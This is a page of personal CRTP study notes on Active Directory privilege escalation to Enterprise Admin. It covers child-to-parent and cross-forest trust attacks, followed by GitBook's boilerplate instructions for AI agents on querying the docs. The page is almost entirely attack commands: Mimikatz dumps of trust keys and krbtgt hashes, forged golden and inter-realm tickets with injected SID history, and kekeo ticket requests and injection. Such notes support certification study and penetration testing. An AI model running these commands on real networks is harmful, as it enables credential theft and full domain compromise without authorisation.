> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/domain-admins.md). # Domain Admins **Enterprise Admins** Child to parent - trust tickets **Dump trust keys** Look for in trust key from child to parent (first command) - This worked best for me! Second command didnt work :( Look for NTLM hash (second command) ``` Invoke-Mimikatz -Command '"lsadump::trust /patch"' -Computername Invoke-Mimikatz -Command '"lsadump::dcsync /user:\$"' ``` **Create an inter-realm TGT** ``` Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain: /sid: /sids: /rc4: /service:krbtgt /target: /ticket:"' ``` **Create a TGS for a service (kekeo\_old)** ``` ./asktgs.exe CIFS/ ``` **Use TGS to access the targeted service (may need to run it twice) (kekeo\_old)** ``` ./kirbikator.exe lsa .\ ``` **Check access to server** ``` ls \\\c$ ``` Child to parent - krbtgt hash **Get krbtgt hash from dc** ``` Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername ``` **Create TGT** the mimikatz option /sids is forcefully setting the SID history for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group ``` Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /sids: /krbtgt: /ticket:"' ``` **Inject the ticket** ``` Invoke-Mimikatz -Command '"kerberos::ptt "' ``` **Get SID of enterprise admin** ``` Get-NetGroup -Domain -GroupName "Enterprise Admins" -FullData | select samaccountname, objectsid ``` ### Crossforest attacks #### Trust flow **Dump trust keys** Look for in trust key from child to parent (first command) Look for NTLM hash (second command) ``` Invoke-Mimikatz -Command '"lsadump::trust /patch"' -Computername Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' ``` **Create a intern-forest TGT** ``` Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /rc4: /service:krbtgt /target: /ticket:"' ``` **Create a TGS for a service (kekeo\_old)** ``` ./asktgs.exe CIFS/ ``` **Use the TGT** ``` ./kirbikator.exe lsa ``` **Check access to server** ``` ls \\\\ ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/domain-admins.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.